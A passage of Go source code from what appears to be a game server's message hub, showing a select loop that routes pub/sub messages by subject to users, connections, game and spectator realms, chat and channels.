94 | // If we get a user message, we should send it along to the given
95 | // user.
96 | log.Debug().Str("topic", msg.Subject).Int("type", int(msg.Data[2])).Msg("got user message, forwarding along")
97 | subtopics := strings.SplitN(msg.Subject, ".", 3)
98 | if len(subtopics) < 2 {
99 | log.Error().Msgf("user subtopics weird %v", msg.Subject)
100 | continue
101 | }
102 | userID := subtopics[1]
103 | if len(subtopics) < 3 {
104 | h.sendToUser(userID, msg.Data)
105 | } else {
106 | h.sendToUserChannel(userID, msg.Data, subtopics[2])
107 | }
108 |
109 | case msg := <-h.pubsub.subchans["connid.>"]:
110 | // Forward to the given connection ID only.
111 | log.Debug().Str("topic", msg.Subject).Int("type", int(msg.Data[2])).Msg("got connID message, forwarding along")
112 | subtopics := strings.Split(msg.Subject, ".")
113 | if len(subtopics) < 2 {
114 | log.Error().Msgf("connid subtopics weird %v", msg.Subject)
115 | continue
116 | }
117 | connID := subtopics[1]
118 | h.sendToConnID(connID, msg.Data)
119 |
120 | case msg := <-h.pubsub.subchans["usertv.>"]:
121 | // XXX: This might not really work. We should only send to gametv
122 | // and have something else follow the user across games.
123 | // A usertv message is meant for people who are watching a user's games.
124 | // Find the appropriate Realm.
125 | log.Debug().Str("topic", msg.Subject).Msg("got usertv message, forwarding along")
126 | subtopics := strings.Split(msg.Subject, ".")
127 | if len(subtopics) < 2 {
128 | log.Error().Msgf("usertv subtopics weird %v", msg.Subject)
129 | continue
130 | }
131 | userID := subtopics[1]
132 | h.sendToRealm(Realm("usertv-"+userID), msg.Data)
133 |
134 | case msg := <-h.pubsub.subchans["gametv.>"]:
135 | // A gametv message is meant for people who are observing a user's games.
136 | log.Debug().Str("topic", msg.Subject).Msg("got gametv message, forwarding along")
137 | subtopics := strings.Split(msg.Subject, ".")
138 | if len(subtopics) < 2 {
139 | log.Error().Msgf("gametv subtopics weird %v", msg.Subject)
140 | continue
141 | }
142 | gameID := subtopics[1]
143 | h.sendToRealm(Realm("gametv-"+gameID), msg.Data)
144 |
145 | case msg := <-h.pubsub.subchans["game.>"]:
146 | // A game message is meant for people who are playing a game.
147 | log.Debug().Str("topic", msg.Subject).Msg("got game message, forwarding along")
148 | subtopics := strings.Split(msg.Subject, ".")
149 | if len(subtopics) < 2 {
150 | log.Error().Msgf("gametv subtopics weird %v", msg.Subject)
151 | continue
152 | }
153 | gameID := subtopics[1]
154 | h.sendToRealm(Realm("game-"+gameID), msg.Data)
155 |
156 | case msg := <-h.pubsub.subchans["chat.>"]:
157 | log.Debug().Str("topic", msg.Subject).Msg("chat-msg")
158 | if strings.HasPrefix(msg.Subject, "chat.pm.") {
159 | // This is a private message. Send to each recipient.
160 | recipients := strings.Split(strings.TrimPrefix(msg.Subject, "chat.pm."), "_")
161 | log.Debug().Interface("recipients", recipients).Msg("private-message")
162 | for _, r := range recipients {
163 | h.sendToUser(r, msg.Data)
164 | }
165 | } else {
166 | h.sendToRealm(channelToRealm(msg.Subject), msg.Data)
167 | }
168 |
169 | case msg := <-h.pubsub.subchans["channel.>"]:
170 | log.Debug().Str("topic", msg.Subject).Msg("channel-msg")
171 | subtopics := strings.Split(msg.Subject, ".")
172 | if len(subtopics) < 2 {
173 | log.Error().Msgf("channel subtopics weird %v", msg.Subject)
174 | continue
175 | }
176 | channelID := subtopics[1]
177 | h.sendToRealm(Realm("channel-"+channelID), msg.Data)
178 | }
179 |
180 | }
181 | }
182 |
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